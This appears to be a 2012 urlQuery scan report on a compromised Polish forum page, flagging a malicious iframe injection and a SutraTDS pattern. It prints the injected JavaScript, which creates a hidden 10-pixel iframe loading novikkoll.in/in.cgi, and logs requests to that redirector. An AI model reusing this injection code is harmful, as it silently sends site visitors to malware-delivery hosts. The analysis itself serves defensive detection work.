Overview

URLhttp://szczytno.org/forum2/viewtopic.php?f=3
IP62.129.200.54
ASNAS12824 home.pl sp. z o.o.
Location Poland
Report completed2012-11-06 05:38:38 CET
StatusLoading report..
urlQuery Alerts Detected malicious iframe injection
Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro No alerts detected
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 62.129.200.54

Date Alerts / IDS URL IP
2013-02-18 12:44:052 / 0http://www.szczytno.org/forum2/viewtopic.php?p=2703062.129.200.54
2013-02-17 08:58:301 / 1http://jeleniowo.pl/index.php62.129.200.54
2013-02-16 06:20:102 / 0http://forum.szczytno.org/62.129.200.54
2013-02-16 05:18:451 / 1http://jeleniowo.pl/index.php62.129.200.54
2013-02-15 21:20:192 / 0http://forum.szczytno.org/viewtopic.php?p=1266162.129.200.54
2013-02-15 20:49:302 / 0http://forum.szczytno.org/viewtopic.php?p=127562.129.200.54

Last 6 reports on ASN: AS12824 home.pl sp. z o.o.

Date Alerts / IDS URL IP
2013-02-18 14:22:071 / 1http://zepiut.pl/xxxx/lego-office-design89.161.197.224
2013-02-18 14:20:221 / 3http://www.weg-poland.pl/silnikiwentylatorowe.htm79.96.53.253
2013-02-18 14:00:191 / 1http://zepiut.pl/xxxx/placenta-spaghetti89.161.197.224
2013-02-18 13:56:492 / 2http://hrcompass.pl/dev_www/successstory/1389.161.207.191
2013-02-18 13:56:341 / 3http://e4e1.home.pl/greeny/coaching-classes-pamphlets89.161.208.104
2013-02-18 13:54:311 / 0http://zepiut.pl/xxxx/media-intima-adventitia89.161.197.224

Last 6 reports on domain: szczytno.org

Date Alerts / IDS URL IP
2013-02-13 02:45:372 / 0http://szczytno.org/forum2/viewtopic.php?f=1462.129.200.54
2013-02-12 23:43:012 / 0http://szczytno.org/forum2/cron.php?cron_type=tidy_cache62.129.200.54
2013-02-12 23:42:512 / 1http://szczytno.org/forum2/viewtopic.php?p=1985162.129.200.54
2013-02-12 11:46:592 / 1http://szczytno.org/hf2009d2/62.129.200.54
2013-02-11 23:46:152 / 0http://szczytno.org/forum2/viewtopic.php?f=662.129.200.54
2013-02-11 23:39:362 / 0http://szczytno.org/forum2/viewtopic.php?p=2190162.129.200.54



JavaScript

Executed Scripts (7)


Executed Evals (4)

#1 JavaScript::Eval (size: 569, repeated: 4) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://novikkoll.in/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://novikkoll.in/in.cgi?default');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

#2 JavaScript::Eval (size: 413, repeated: 1) 

if (typeof ActiveXObject != "undefined") {
    try {
        fo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
    } catch (e) {
        try {
            fo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
            fv = "X";
            fo.AllowScriptAccess = "always";
        } catch (e) {
            if (fv == "X") {
                fv = "WIN 6,0,20,0";
            }
        }
        try {
            fo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
        } catch (e) {}
    }
    if ((fv == "-" || fv == "X") && fo) {
        fv = fo.GetVariable("$version");
    }
}

#3 JavaScript::Eval (size: 122, repeated: 1) 

try {
    f = (d == top.document) ? 1 : 2;
    if (typeof top.document.referrer == "string") {
        ref = top.document.referrer
    }
} catch (e) {
    f = 3;
}

#4 JavaScript::Eval (size: 73, repeated: 1) 

try {
    fv = navigator.plugins["Shockwave Flash"].description;
} catch (e) {}

Executed Writes (3)

#1 JavaScript::Write (size: 139, repeated: 4) 

<iframe src='http://novikkoll.in/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>

#2 JavaScript::Write (size: 148, repeated: 1) 

<script type="text/javascript" src="http://home.hit.stat24.com/_1352176675412/script.js?id=zU07AmdGODc5LeRG0iw2EZZzrkJdaqeyF7PsSMfnyNj.U7"></script>

#3 JavaScript::Write (size: 91, repeated: 1) 

<script type="text/javascript" src="http://home.hit.stat24.com/cachedscriptxy.js"></script>


HTTP Transactions (16)


Request Response 
GET /forum2/viewtopic.php?f=3 HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Connection: Keep-Alive
Date: Tue, 06 Nov 2012 04:37:54 GMT
Server: IdeaWebServer/v0.80
Transfer-Encoding: chunked
GET /favicon.ico HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Connection: Keep-Alive
Content-Length: 182
Date: Tue, 06 Nov 2012 04:37:54 GMT
Server: IdeaWebServer/v0.80
GET /forum2/viewtopic.php?f=3 HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Connection: Keep-Alive
Date: Tue, 06 Nov 2012 04:37:54 GMT
Server: IdeaWebServer/v0.80
Transfer-Encoding: chunked
GET /forum2/styles/1Game/theme/stylesheet.css HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=3
 
HTTP/1.1 200 OK

Content-Type: text/css

Connection: Keep-Alive
Content-Length: 16056
Date: Tue, 06 Nov 2012 04:37:55 GMT
Last-Modified: Sun, 31 Jan 2010 23:16:21 GMT
Server: IdeaWebServer/v0.80
GET /forum2/styles/1Game/theme/images/back.jpg HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/styles/1Game/theme/stylesheet.css
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Connection: Keep-Alive
Content-Length: 15855
Date: Tue, 06 Nov 2012 04:37:55 GMT
Last-Modified: Mon, 01 Feb 2010 14:39:59 GMT
Server: IdeaWebServer/v0.80
GET /_1352176675412/script.js?id=zU07AmdGODc5LeRG0iw2EZZzrkJdaqeyF7PsSMfnyNj.U7 HTTP/1.1

Host: home.hit.stat24.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=3
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Accept-Ranges: none
Date: Tue, 06 Nov 2012 04:37:55 GMT
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Expires: Mon, 05 Nov 2012 04:37:55 GMT
Set-Cookie: GAD=KlQIPG9GvaGpI8ReoLC7sZMGssCFSRscaKfaBgmstG8MaMGI5-DcMMxGRExnYQ0LHG8la15GsG..; Domain=hit.stat24.com; Path=/; Expires=Wed, 30 Aug 2017 00:00:00 GMT
P3P: CP=&quot;NOI DSP COR NID PSAo OUR IND&quot;
Connection: close
Content-Length: 540
GET /forum2/styles/1Game/theme/images/top.jpg HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/styles/1Game/theme/stylesheet.css
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Connection: Keep-Alive
Content-Length: 43282
Date: Tue, 06 Nov 2012 04:37:55 GMT
Last-Modified: Sun, 31 Jan 2010 23:17:11 GMT
Server: IdeaWebServer/v0.80
GET /cachedscriptxy.js HTTP/1.1

Host: home.hit.stat24.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=3
Cookie: GAD=KlQIPG9GvaGpI8ReoLC7sZMGssCFSRscaKfaBgmstG8MaMGI5-DcMMxGRExnYQ0LHG8la15GsG..
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Accept-Ranges: none
Date: Tue, 06 Nov 2012 04:37:55 GMT
Cache-Control: public, must-revalidate, max-age=432000
Last-Modified: Mon, 29 Oct 2012 11:31:41 GMT
Etag: &quot;0000172A98427113&quot;
Expires: Sun, 11 Nov 2012 04:37:55 GMT
P3P: CP=&quot;NOI DSP COR NID PSAo OUR IND&quot;
Connection: close
Content-Length: 5930
GET /_1352176675597/rexdot.gif?l=11&id=2CiAfO_bdXOIGsL_dmta7owtfoSnVddBycFmkMOz0K3.47&from=home.hit.stat24.com&&fr=1&fv=Shockwave%20Flash%2010.0%20r45&tz=-60&href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D3&ref=&screen=1176x885&col=24&window=1176x778 HTTP/1.1

Host: st.hit.gemius.pl
GET /_1352176675597/rexdot.gif?l=11&amp;id=2CiAfO_bdXOIGsL_dmta7owtfoSnVddBycFmkMOz0K3.47&amp;from=home.hit.stat24.com&amp;&amp;fr=1&amp;fv=Shockwave%20Flash%2010.0%20r45&amp;tz=-60&amp;href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D3&amp;ref=&amp;screen=1176x885&amp;col=24&amp;window=1176x778 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=3
 
HTTP/1.1 301 Moved Permanently

HTTP/1.1 301 Moved Permanently

Date: Tue, 06 Nov 2012 04:37:55 GMT
Expires: Mon, 05 Nov 2012 04:37:55 GMT
Accept-Ranges: none
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Set-Cookie: Gtest=KlxnmQFGQMGGUAqjdG6SoeQGMU8l8iMoXBG.; Domain=hit.gemius.pl; Path=/; Expires=Wed, 30 Aug 2017 00:00:00 GMT
P3P: CP=&quot;NOI DSP COR NID PSAo OUR IND&quot;
Location: /__/_1352176675597/rexdot.gif?l=11&amp;id=2CiAfO_bdXOIGsL_dmta7owtfoSnVddBycFmkMOz0K3.47&amp;from=home.hit.stat24.com&amp;&amp;fr=1&amp;fv=Shockwave%20Flash%2010.0%20r45&amp;tz=-60&amp;href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D3&amp;ref=&amp;screen=1176x885&amp;col=24&amp;window=1176x778
Connection: close
Content-Length: 0
GET /__/_1352176675597/rexdot.gif?l=11&id=2CiAfO_bdXOIGsL_dmta7owtfoSnVddBycFmkMOz0K3.47&from=home.hit.stat24.com&&fr=1&fv=Shockwave%20Flash%2010.0%20r45&tz=-60&href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D3&ref=&screen=1176x885&col=24&window=1176x778 HTTP/1.1

Host: st.hit.gemius.pl
GET /__/_1352176675597/rexdot.gif?l=11&amp;id=2CiAfO_bdXOIGsL_dmta7owtfoSnVddBycFmkMOz0K3.47&amp;from=home.hit.stat24.com&amp;&amp;fr=1&amp;fv=Shockwave%20Flash%2010.0%20r45&amp;tz=-60&amp;href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D3&amp;ref=&amp;screen=1176x885&amp;col=24&amp;window=1176x778 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=3
Cookie: Gtest=KlxnmQFGQMGGUAqjdG6SoeQGMU8l8iMoXBG.
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 04:37:56 GMT
Expires: Mon, 05 Nov 2012 04:37:56 GMT
Accept-Ranges: none
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Set-Cookie: Gdyn=KlSuAQ9GQMGGUAqjdG6SoeGGMg8l87F7M86SssXsBm8cGHZaPL2xSGGf8ncGYJFf8sF8MG..; Domain=hit.gemius.pl; Path=/; Expires=Wed, 30 Aug 2017 00:00:00 GMT
P3P: CP=&quot;NOI DSP COR NID PSAo OUR IND&quot;
Connection: close
Content-Length: 43
GET /favicon.ico HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Connection: Keep-Alive
Content-Length: 182
Date: Tue, 06 Nov 2012 04:37:56 GMT
Server: IdeaWebServer/v0.80
GET /favicon.ico HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Connection: Keep-Alive
Content-Length: 182
Date: Tue, 06 Nov 2012 04:37:57 GMT
Server: IdeaWebServer/v0.80
GET /favicon.ico HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Connection: Keep-Alive
Content-Length: 182
Date: Tue, 06 Nov 2012 04:37:57 GMT
Server: IdeaWebServer/v0.80
GET /in.cgi?default HTTP/1.1

Host: sluxxqqgykewolmoli.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=3
 


 
 
GET /in.cgi?default HTTP/1.1

Host: novikkoll.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=3
 		 


 
 
GET /in.cgi?default HTTP/1.1

Host: novikkoll.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=3